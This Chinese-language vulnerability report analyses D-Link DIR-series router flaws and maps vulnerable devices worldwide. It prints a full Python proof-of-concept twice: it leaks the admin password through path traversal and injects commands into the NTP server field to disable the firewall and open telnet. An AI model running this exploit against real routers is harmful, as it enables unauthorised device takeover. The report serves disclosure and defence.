D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告

2017-09-07

作者：知道创宇404实验室

报告发布日期：2017年08月11日

PDF 版报告下载：D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告

0x00 背景

D-Link（即友讯网络）[1]，一家生产网络硬件和软件产品的企业，主要产品有交换机、无线产品、宽带产品、网卡、路由器、网络摄像机和网络安全产品(防火墙)等。

2017年8月8号，SecuriTeam在博客公布了D-Link 850L多个漏洞的漏洞细节和PoC[2]，其中包括通过WAN和LAN的远程代码执行、通过WAN和LAN口的未授权信息泄露、通过LAN的root远程命令执行。

2017年8月9日，Seebug收录了该厂商旗下D-Link DIR-850L云路由器的多个漏洞[3]。攻击者通过路由器公网入口可获取路由器后台登录凭证并执行任意代码。

知道创宇404实验室本地测试发现多款D-Link DIR系列路由器也受到该漏洞影响。

根据ZoomEye的探测和分析，存在漏洞的D-Link路由器型号如下：

D-Link供应商已经发布了补丁Firmware: 1.14B07 BETA修复该漏洞[4]。

0x01 漏洞分析

这个漏洞由两个漏洞组成，通过第一个漏洞和第二个漏洞，可以形成完整的攻击链。根据公布的PoC我们可以分析漏洞的成因。

下面是PoC的代码。

<ol class="linenums"><li class="L0"><code><span class="com">#!/usr/bin/env python3</span></code></li><li class="L1"><code><span class="com"># pylint: disable=C0103</span></code></li><li class="L2"><code><span class="com">#</span></code></li><li class="L3"><code><span class="com"># pip3 install requests lxml</span></code></li><li class="L4"><code><span class="com">#</span></code></li><li class="L5"><code><span class="kwd">import</span><span class="pln"> hmac</span></code></li><li class="L6"><code><span class="kwd">import</span><span class="pln"> json</span></code></li><li class="L7"><code><span class="kwd">import</span><span class="pln"> sys</span></code></li><li class="L8"><code><span class="kwd">from</span><span class="pln"> urllib</span><span class="pun">.</span><span class="pln">parse </span><span class="kwd">import</span><span class="pln"> urljoin</span></code></li><li class="L9"><code><span class="kwd">from</span><span class="pln"> xml</span><span class="pun">.</span><span class="pln">sax</span><span class="pun">.</span><span class="pln">saxutils </span><span class="kwd">import</span><span class="pln"> escape</span></code></li><li class="L0"><code><span class="kwd">import</span><span class="pln"> lxml</span><span class="pun">.</span><span class="pln">etree</span></code></li><li class="L1"><code><span class="kwd">import</span><span class="pln"> requests</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="kwd">try</span><span class="pun">:</span></code></li><li class="L4"><code><span class="pln">requests</span><span class="pun">.</span><span class="pln">packages</span><span class="pun">.</span><span class="pln">urllib3</span><span class="pun">.</span><span class="pln">disable_warnings</span><span class="pun">(</span><span class="pln">requests</span><span class="pun">.</span><span class="pln">packages</span><span class="pun">.</span><span class="pln">urllib3</span><span class="pun">.</span><span class="pln">exceptions</span><span class="pun">.</span><span class="typ">InsecureRequestWarning</span><span class="pun">)</span></code></li><li class="L5"><code><span class="kwd">except</span><span class="pun">:</span></code></li><li class="L6"><code><span class="kwd">pass</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">TARGET </span><span class="pun">=</span><span class="pln"> sys</span><span class="pun">.</span><span class="pln">argv</span><span class="pun">[</span><span class="lit">1</span><span class="pun">]</span></code></li><li class="L9"><code><span class="pln">COMMAND </span><span class="pun">=</span><span class="pln"> </span><span class="str">";"</span><span class="pun">.</span><span class="pln">join</span><span class="pun">([</span></code></li><li class="L0"><code><span class="str">"iptables -F"</span><span class="pun">,</span></code></li><li class="L1"><code><span class="str">"iptables -X"</span><span class="pun">,</span></code></li><li class="L2"><code><span class="str">"iptables -t nat -F"</span><span class="pun">,</span></code></li><li class="L3"><code><span class="str">"iptables -t nat -X"</span><span class="pun">,</span></code></li><li class="L4"><code><span class="str">"iptables -t mangle -F"</span><span class="pun">,</span></code></li><li class="L5"><code><span class="str">"iptables -t mangle -X"</span><span class="pun">,</span></code></li><li class="L6"><code><span class="str">"iptables -P INPUT ACCEPT"</span><span class="pun">,</span></code></li><li class="L7"><code><span class="str">"iptables -P FORWARD ACCEPT"</span><span class="pun">,</span></code></li><li class="L8"><code><span class="str">"iptables -P OUTPUT ACCEPT"</span><span class="pun">,</span></code></li><li class="L9"><code><span class="str">"telnetd -p 23090 -l /bin/date"</span><span class="pln"> </span><span class="com"># port 'Z2'</span></code></li><li class="L0"><code><span class="pun">])</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">session </span><span class="pun">=</span><span class="pln"> requests</span><span class="pun">.</span><span class="typ">Session</span><span class="pun">()</span></code></li><li class="L3"><code><span class="pln">session</span><span class="pun">.</span><span class="pln">verify </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">False</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="com">############################################################</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"Get password..."</span><span class="pun">)</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln">headers </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span><span class="str">"Content-Type"</span><span class="pun">:</span><span class="pln"> </span><span class="str">"text/xml"</span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln">cookies </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span><span class="str">"uid"</span><span class="pun">:</span><span class="pln"> </span><span class="str">"whatever"</span><span class="pun">}</span></code></li><li class="L1"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="str">"""&lt;?xml version="</span><span class="lit">1.0</span><span class="str">" encoding="</span><span class="pln">utf</span><span class="pun">-</span><span class="lit">8</span><span class="str">"?&gt;</span></code></li><li class="L2"><code><span class="str">&lt;postxml&gt;</span></code></li><li class="L3"><code><span class="str">&lt;module&gt;</span></code></li><li class="L4"><code><span class="str">&lt;service&gt;../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml&lt;/service&gt;</span></code></li><li class="L5"><code><span class="str">&lt;/module&gt;</span></code></li><li class="L6"><code><span class="str">&lt;/postxml&gt;"""</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">resp </span><span class="pun">=</span><span class="pln"> session</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="pln">urljoin</span><span class="pun">(</span><span class="pln">TARGET</span><span class="pun">,</span><span class="pln"> </span><span class="str">"/hedwig.cgi"</span><span class="pun">),</span><span class="pln"> headers</span><span class="pun">=</span><span class="pln">headers</span><span class="pun">,</span><span class="pln"> cookies</span><span class="pun">=</span><span class="pln">cookies</span><span class="pun">,</span><span class="pln"> data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li><li class="L9"><code><span class="com"># print(resp.text)</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com"># getcfg: &lt;module&gt;...&lt;/module&gt;</span></code></li><li class="L2"><code><span class="com"># hedwig: &lt;?xml version="1.0" encoding="utf-8"?&gt;</span></code></li><li class="L3"><code><span class="com"># : &lt;hedwig&gt;...&lt;/hedwig&gt;</span></code></li><li class="L4"><code><span class="pln">accdata </span><span class="pun">=</span><span class="pln"> resp</span><span class="pun">.</span><span class="pln">text</span><span class="pun">[:</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">text</span><span class="pun">.</span><span class="pln">find</span><span class="pun">(</span><span class="str">"&lt;?xml"</span><span class="pun">)]</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">admin_pasw </span><span class="pun">=</span><span class="pln"> </span><span class="str">""</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">tree </span><span class="pun">=</span><span class="pln"> lxml</span><span class="pun">.</span><span class="pln">etree</span><span class="pun">.</span><span class="pln">fromstring</span><span class="pun">(</span><span class="pln">accdata</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln">accounts </span><span class="pun">=</span><span class="pln"> tree</span><span class="pun">.</span><span class="pln">xpath</span><span class="pun">(</span><span class="str">"/module/device/account/entry"</span><span class="pun">)</span></code></li><li class="L0"><code><span class="kwd">for</span><span class="pln"> acc </span><span class="kwd">in</span><span class="pln"> accounts</span><span class="pun">:</span></code></li><li class="L1"><code><span class="pln">name </span><span class="pun">=</span><span class="pln"> acc</span><span class="pun">.</span><span class="pln">findtext</span><span class="pun">(</span><span class="str">"name"</span><span class="pun">,</span><span class="pln"> </span><span class="str">""</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln">pasw </span><span class="pun">=</span><span class="pln"> acc</span><span class="pun">.</span><span class="pln">findtext</span><span class="pun">(</span><span class="str">"password"</span><span class="pun">,</span><span class="pln"> </span><span class="str">""</span><span class="pun">)</span></code></li><li class="L3"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"name:"</span><span class="pun">,</span><span class="pln"> name</span><span class="pun">)</span></code></li><li class="L4"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"pass:"</span><span class="pun">,</span><span class="pln"> pasw</span><span class="pun">)</span></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> name </span><span class="pun">==</span><span class="pln"> </span><span class="str">"Admin"</span><span class="pun">:</span></code></li><li class="L6"><code><span class="pln">admin_pasw </span><span class="pun">=</span><span class="pln"> pasw</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">if</span><span class="pln"> </span><span class="kwd">not</span><span class="pln"> admin_pasw</span><span class="pun">:</span></code></li><li class="L9"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"Admin password not found!"</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln">sys</span><span class="pun">.</span><span class="kwd">exit</span><span class="pun">()</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="com">############################################################</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"Auth challenge..."</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pln">resp </span><span class="pun">=</span><span class="pln"> session</span><span class="pun">.</span><span class="kwd">get</span><span class="pun">(</span><span class="pln">urljoin</span><span class="pun">(</span><span class="pln">TARGET</span><span class="pun">,</span><span class="pln"> </span><span class="str">"/authentication.cgi"</span><span class="pun">))</span></code></li><li class="L6"><code><span class="com"># print(resp.text)</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">resp </span><span class="pun">=</span><span class="pln"> json</span><span class="pun">.</span><span class="pln">loads</span><span class="pun">(</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">text</span><span class="pun">)</span></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> resp</span><span class="pun">[</span><span class="str">"status"</span><span class="pun">].</span><span class="pln">lower</span><span class="pun">()</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> </span><span class="str">"ok"</span><span class="pun">:</span></code></li><li class="L0"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"Failed!"</span><span class="pun">)</span></code></li><li class="L1"><code><span class="kwd">print</span><span class="pun">(</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">text</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln">sys</span><span class="pun">.</span><span class="kwd">exit</span><span class="pun">()</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"uid:"</span><span class="pun">,</span><span class="pln"> resp</span><span class="pun">[</span><span class="str">"uid"</span><span class="pun">])</span></code></li><li class="L5"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"challenge:"</span><span class="pun">,</span><span class="pln"> resp</span><span class="pun">[</span><span class="str">"challenge"</span><span class="pun">])</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pln">session</span><span class="pun">.</span><span class="pln">cookies</span><span class="pun">.</span><span class="pln">update</span><span class="pun">({</span><span class="str">"uid"</span><span class="pun">:</span><span class="pln"> resp</span><span class="pun">[</span><span class="str">"uid"</span><span class="pun">]})</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"Auth login..."</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln">user_name </span><span class="pun">=</span><span class="pln"> </span><span class="str">"Admin"</span></code></li><li class="L1"><code><span class="pln">user_pasw </span><span class="pun">=</span><span class="pln"> admin_pasw</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="str">"id"</span><span class="pun">:</span><span class="pln"> user_name</span><span class="pun">,</span></code></li><li class="L5"><code><span class="str">"password"</span><span class="pun">:</span><span class="pln"> hmac</span><span class="pun">.</span><span class="kwd">new</span><span class="pun">(</span><span class="pln">user_pasw</span><span class="pun">.</span><span class="pln">encode</span><span class="pun">(),</span><span class="pln"> </span><span class="pun">(</span><span class="pln">user_name </span><span class="pun">+</span><span class="pln"> resp</span><span class="pun">[</span><span class="str">"challenge"</span><span class="pun">]).</span><span class="pln">encode</span><span class="pun">(),</span><span class="pln"> </span><span class="str">"md5"</span><span class="pun">).</span><span class="pln">hexdigest</span><span class="pun">().</span><span class="pln">upper</span><span class="pun">()</span></code></li><li class="L6"><code><span class="pun">}</span></code></li><li class="L7"><code><span class="pln">resp </span><span class="pun">=</span><span class="pln"> session</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="pln">urljoin</span><span class="pun">(</span><span class="pln">TARGET</span><span class="pun">,</span><span class="pln"> </span><span class="str">"/authentication.cgi"</span><span class="pun">),</span><span class="pln"> data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li><li class="L8"><code><span class="com"># print(resp.text)</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">resp </span><span class="pun">=</span><span class="pln"> json</span><span class="pun">.</span><span class="pln">loads</span><span class="pun">(</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">text</span><span class="pun">)</span></code></li><li class="L1"><code><span class="kwd">if</span><span class="pln"> resp</span><span class="pun">[</span><span class="str">"status"</span><span class="pun">].</span><span class="pln">lower</span><span class="pun">()</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> </span><span class="str">"ok"</span><span class="pun">:</span></code></li><li class="L2"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"Failed!"</span><span class="pun">)</span></code></li><li class="L3"><code><span class="kwd">print</span><span class="pun">(</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">text</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln">sys</span><span class="pun">.</span><span class="kwd">exit</span><span class="pun">()</span></code></li><li class="L5"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"OK"</span><span class="pun">)</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="com">############################################################</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span><span class="str">"SERVICES"</span><span class="pun">:</span><span class="pln"> </span><span class="str">"DEVICE.TIME"</span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln">resp </span><span class="pun">=</span><span class="pln"> session</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="pln">urljoin</span><span class="pun">(</span><span class="pln">TARGET</span><span class="pun">,</span><span class="pln"> </span><span class="str">"/getcfg.php"</span><span class="pun">),</span><span class="pln"> data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li><li class="L1"><code><span class="com"># print(resp.text)</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">tree </span><span class="pun">=</span><span class="pln"> lxml</span><span class="pun">.</span><span class="pln">etree</span><span class="pun">.</span><span class="pln">fromstring</span><span class="pun">(</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">content</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln">tree</span><span class="pun">.</span><span class="pln">xpath</span><span class="pun">(</span><span class="str">"//ntp/enable"</span><span class="pun">)[</span><span class="lit">0</span><span class="pun">].</span><span class="pln">text </span><span class="pun">=</span><span class="pln"> </span><span class="str">"1"</span></code></li><li class="L5"><code><span class="pln">tree</span><span class="pun">.</span><span class="pln">xpath</span><span class="pun">(</span><span class="str">"//ntp/server"</span><span class="pun">)[</span><span class="lit">0</span><span class="pun">].</span><span class="pln">text </span><span class="pun">=</span><span class="pln"> </span><span class="str">"metelesku; ("</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> COMMAND </span><span class="pun">+</span><span class="pln"> </span><span class="str">") &amp; exit; "</span></code></li><li class="L6"><code><span class="pln">tree</span><span class="pun">.</span><span class="pln">xpath</span><span class="pun">(</span><span class="str">"//ntp6/enable"</span><span class="pun">)[</span><span class="lit">0</span><span class="pun">].</span><span class="pln">text </span><span class="pun">=</span><span class="pln"> </span><span class="str">"1"</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="com">############################################################</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"hedwig"</span><span class="pun">)</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">headers </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span><span class="str">"Content-Type"</span><span class="pun">:</span><span class="pln"> </span><span class="str">"text/xml"</span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> lxml</span><span class="pun">.</span><span class="pln">etree</span><span class="pun">.</span><span class="pln">tostring</span><span class="pun">(</span><span class="pln">tree</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln">resp </span><span class="pun">=</span><span class="pln"> session</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="pln">urljoin</span><span class="pun">(</span><span class="pln">TARGET</span><span class="pun">,</span><span class="pln"> </span><span class="str">"/hedwig.cgi"</span><span class="pun">),</span><span class="pln"> headers</span><span class="pun">=</span><span class="pln">headers</span><span class="pun">,</span><span class="pln"> data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li><li class="L5"><code><span class="com"># print(resp.text)</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pln">tree </span><span class="pun">=</span><span class="pln"> lxml</span><span class="pun">.</span><span class="pln">etree</span><span class="pun">.</span><span class="pln">fromstring</span><span class="pun">(</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">content</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln">result </span><span class="pun">=</span><span class="pln"> tree</span><span class="pun">.</span><span class="pln">findtext</span><span class="pun">(</span><span class="str">"result"</span><span class="pun">)</span></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> result</span><span class="pun">.</span><span class="pln">lower</span><span class="pun">()</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> </span><span class="str">"ok"</span><span class="pun">:</span></code></li><li class="L0"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"Failed!"</span><span class="pun">)</span></code></li><li class="L1"><code><span class="kwd">print</span><span class="pun">(</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">text</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln">sys</span><span class="pun">.</span><span class="kwd">exit</span><span class="pun">()</span></code></li><li class="L3"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"OK"</span><span class="pun">)</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="com">############################################################</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"pigwidgeon"</span><span class="pun">)</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span><span class="str">"ACTIONS"</span><span class="pun">:</span><span class="pln"> </span><span class="str">"SETCFG,ACTIVATE"</span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln">resp </span><span class="pun">=</span><span class="pln"> session</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="pln">urljoin</span><span class="pun">(</span><span class="pln">TARGET</span><span class="pun">,</span><span class="pln"> </span><span class="str">"/pigwidgeon.cgi"</span><span class="pun">),</span><span class="pln"> data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li><li class="L1"><code><span class="com"># print(resp.text)</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">tree </span><span class="pun">=</span><span class="pln"> lxml</span><span class="pun">.</span><span class="pln">etree</span><span class="pun">.</span><span class="pln">fromstring</span><span class="pun">(</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">content</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln">result </span><span class="pun">=</span><span class="pln"> tree</span><span class="pun">.</span><span class="pln">findtext</span><span class="pun">(</span><span class="str">"result"</span><span class="pun">)</span></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> result</span><span class="pun">.</span><span class="pln">lower</span><span class="pun">()</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> </span><span class="str">"ok"</span><span class="pun">:</span></code></li><li class="L6"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"Failed!"</span><span class="pun">)</span></code></li><li class="L7"><code><span class="kwd">print</span><span class="pun">(</span><span class="pln">resp</span><span class="pun">.</span><span class="pln">text</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln">sys</span><span class="pun">.</span><span class="kwd">exit</span><span class="pun">()</span></code></li><li class="L9"><code><span class="kwd">print</span><span class="pun">(</span><span class="str">"OK"</span><span class="pun">)</span></code></li></ol>

<ol class="linenums"><li class="L0"><code>#!/usr/bin/env python3</code></li><li class="L1"><code># pylint: disable=C0103</code></li><li class="L2"><code>#</code></li><li class="L3"><code># pip3 install requests lxml</code></li><li class="L4"><code>#</code></li><li class="L5"><code>import hmac</code></li><li class="L6"><code>import json</code></li><li class="L7"><code>import sys</code></li><li class="L8"><code>from urllib.parse import urljoin</code></li><li class="L9"><code>from xml.sax.saxutils import escape</code></li><li class="L0"><code>import lxml.etree</code></li><li class="L1"><code>import requests</code></li><li class="L2"><code></code></li><li class="L3"><code>try:</code></li><li class="L4"><code>requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)</code></li><li class="L5"><code>except:</code></li><li class="L6"><code>pass</code></li><li class="L7"><code></code></li><li class="L8"><code>TARGET = sys.argv[1]</code></li><li class="L9"><code>COMMAND = ";".join([</code></li><li class="L0"><code>"iptables -F",</code></li><li class="L1"><code>"iptables -X",</code></li><li class="L2"><code>"iptables -t nat -F",</code></li><li class="L3"><code>"iptables -t nat -X",</code></li><li class="L4"><code>"iptables -t mangle -F",</code></li><li class="L5"><code>"iptables -t mangle -X",</code></li><li class="L6"><code>"iptables -P INPUT ACCEPT",</code></li><li class="L7"><code>"iptables -P FORWARD ACCEPT",</code></li><li class="L8"><code>"iptables -P OUTPUT ACCEPT",</code></li><li class="L9"><code>"telnetd -p 23090 -l /bin/date" # port 'Z2'</code></li><li class="L0"><code>])</code></li><li class="L1"><code></code></li><li class="L2"><code>session = requests.Session()</code></li><li class="L3"><code>session.verify = False</code></li><li class="L4"><code></code></li><li class="L5"><code>############################################################</code></li><li class="L6"><code></code></li><li class="L7"><code>print("Get password...")</code></li><li class="L8"><code></code></li><li class="L9"><code>headers = {"Content-Type": "text/xml"}</code></li><li class="L0"><code>cookies = {"uid": "whatever"}</code></li><li class="L1"><code>data = """<?xml version="1.0" encoding="utf-8"?></code></li><li class="L2"><code><postxml></code></li><li class="L3"><code><module></code></li><li class="L4"><code><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></code></li><li class="L5"><code></module></code></li><li class="L6"><code></postxml>"""</code></li><li class="L7"><code></code></li><li class="L8"><code>resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)</code></li><li class="L9"><code># print(resp.text)</code></li><li class="L0"><code></code></li><li class="L1"><code># getcfg: <module>...</module></code></li><li class="L2"><code># hedwig: <?xml version="1.0" encoding="utf-8"?></code></li><li class="L3"><code># : <hedwig>...</hedwig></code></li><li class="L4"><code>accdata = resp.text[:resp.text.find("<?xml")]</code></li><li class="L5"><code></code></li><li class="L6"><code>admin_pasw = ""</code></li><li class="L7"><code></code></li><li class="L8"><code>tree = lxml.etree.fromstring(accdata)</code></li><li class="L9"><code>accounts = tree.xpath("/module/device/account/entry")</code></li><li class="L0"><code>for acc in accounts:</code></li><li class="L1"><code>name = acc.findtext("name", "")</code></li><li class="L2"><code>pasw = acc.findtext("password", "")</code></li><li class="L3"><code>print("name:", name)</code></li><li class="L4"><code>print("pass:", pasw)</code></li><li class="L5"><code>if name == "Admin":</code></li><li class="L6"><code>admin_pasw = pasw</code></li><li class="L7"><code></code></li><li class="L8"><code>if not admin_pasw:</code></li><li class="L9"><code>print("Admin password not found!")</code></li><li class="L0"><code>sys.exit()</code></li><li class="L1"><code></code></li><li class="L2"><code>############################################################</code></li><li class="L3"><code></code></li><li class="L4"><code>print("Auth challenge...")</code></li><li class="L5"><code>resp = session.get(urljoin(TARGET, "/authentication.cgi"))</code></li><li class="L6"><code># print(resp.text)</code></li><li class="L7"><code></code></li><li class="L8"><code>resp = json.loads(resp.text)</code></li><li class="L9"><code>if resp["status"].lower() != "ok":</code></li><li class="L0"><code>print("Failed!")</code></li><li class="L1"><code>print(resp.text)</code></li><li class="L2"><code>sys.exit()</code></li><li class="L3"><code></code></li><li class="L4"><code>print("uid:", resp["uid"])</code></li><li class="L5"><code>print("challenge:", resp["challenge"])</code></li><li class="L6"><code></code></li><li class="L7"><code>session.cookies.update({"uid": resp["uid"]})</code></li><li class="L8"><code></code></li><li class="L9"><code>print("Auth login...")</code></li><li class="L0"><code>user_name = "Admin"</code></li><li class="L1"><code>user_pasw = admin_pasw</code></li><li class="L2"><code></code></li><li class="L3"><code>data = {</code></li><li class="L4"><code>"id": user_name,</code></li><li class="L5"><code>"password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()</code></li><li class="L6"><code>}</code></li><li class="L7"><code>resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)</code></li><li class="L8"><code># print(resp.text)</code></li><li class="L9"><code></code></li><li class="L0"><code>resp = json.loads(resp.text)</code></li><li class="L1"><code>if resp["status"].lower() != "ok":</code></li><li class="L2"><code>print("Failed!")</code></li><li class="L3"><code>print(resp.text)</code></li><li class="L4"><code>sys.exit()</code></li><li class="L5"><code>print("OK")</code></li><li class="L6"><code></code></li><li class="L7"><code>############################################################</code></li><li class="L8"><code></code></li><li class="L9"><code>data = {"SERVICES": "DEVICE.TIME"}</code></li><li class="L0"><code>resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)</code></li><li class="L1"><code># print(resp.text)</code></li><li class="L2"><code></code></li><li class="L3"><code>tree = lxml.etree.fromstring(resp.content)</code></li><li class="L4"><code>tree.xpath("//ntp/enable")[0].text = "1"</code></li><li class="L5"><code>tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "</code></li><li class="L6"><code>tree.xpath("//ntp6/enable")[0].text = "1"</code></li><li class="L7"><code></code></li><li class="L8"><code>############################################################</code></li><li class="L9"><code></code></li><li class="L0"><code>print("hedwig")</code></li><li class="L1"><code></code></li><li class="L2"><code>headers = {"Content-Type": "text/xml"}</code></li><li class="L3"><code>data = lxml.etree.tostring(tree)</code></li><li class="L4"><code>resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)</code></li><li class="L5"><code># print(resp.text)</code></li><li class="L6"><code></code></li><li class="L7"><code>tree = lxml.etree.fromstring(resp.content)</code></li><li class="L8"><code>result = tree.findtext("result")</code></li><li class="L9"><code>if result.lower() != "ok":</code></li><li class="L0"><code>print("Failed!")</code></li><li class="L1"><code>print(resp.text)</code></li><li class="L2"><code>sys.exit()</code></li><li class="L3"><code>print("OK")</code></li><li class="L4"><code></code></li><li class="L5"><code>############################################################</code></li><li class="L6"><code></code></li><li class="L7"><code>print("pigwidgeon")</code></li><li class="L8"><code></code></li><li class="L9"><code>data = {"ACTIONS": "SETCFG,ACTIVATE"}</code></li><li class="L0"><code>resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)</code></li><li class="L1"><code># print(resp.text)</code></li><li class="L2"><code></code></li><li class="L3"><code>tree = lxml.etree.fromstring(resp.content)</code></li><li class="L4"><code>result = tree.findtext("result")</code></li><li class="L5"><code>if result.lower() != "ok":</code></li><li class="L6"><code>print("Failed!")</code></li><li class="L7"><code>print(resp.text)</code></li><li class="L8"><code>sys.exit()</code></li><li class="L9"><code>print("OK")</code></li></ol>

hedwig.cgi会调用fatlady.php来应用设置加载配置。这里我们可以通过设置service来加载任何php后缀的文件。

/htdocs/webinc/fatlady.php

这里我们可以通过加载配置文件来列出用户账户的口令。

/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php

获得管理员口令后，我们可以登陆并出发第二个漏洞 – NTP服务器shell命令注入。

通过请求getcfg.php来加载DEVICE.TIME.php页面。

/htdocs/web/getcfg.php

跟入DEVICE.TIME.php页面。

这里server变量没有任何过滤直接拼入命令。

通过上述两个漏洞，我们就可以无限制命令执行。

以下为漏洞证明：

成功命令执行。

0x02 数据分析

根据ZoomEye网络空间搜索引擎截止到2017年8月9日探测和分析的数据，对存在漏洞的D-Link路由器进行全球范围的分析，如下图所示。

图1 D-Link DIR系列路由器信息泄露和远程命令执行漏洞全球态势

上图是此次D-Link DIR系列路由器信息泄露和远程命令执行漏洞的全球分析结果。通过上图可以大体了解到哪些国家和地区的D-Link DIR系列路由器设备正在面临严重的安全威胁。存在威胁的D-Link DIR系列路由器在较为发达的国家和地区比较多。

下图是受影响国家和地区top10的数据分析。

图2 受到D-Link DIR系列路由器漏洞威胁的国家和地区top10

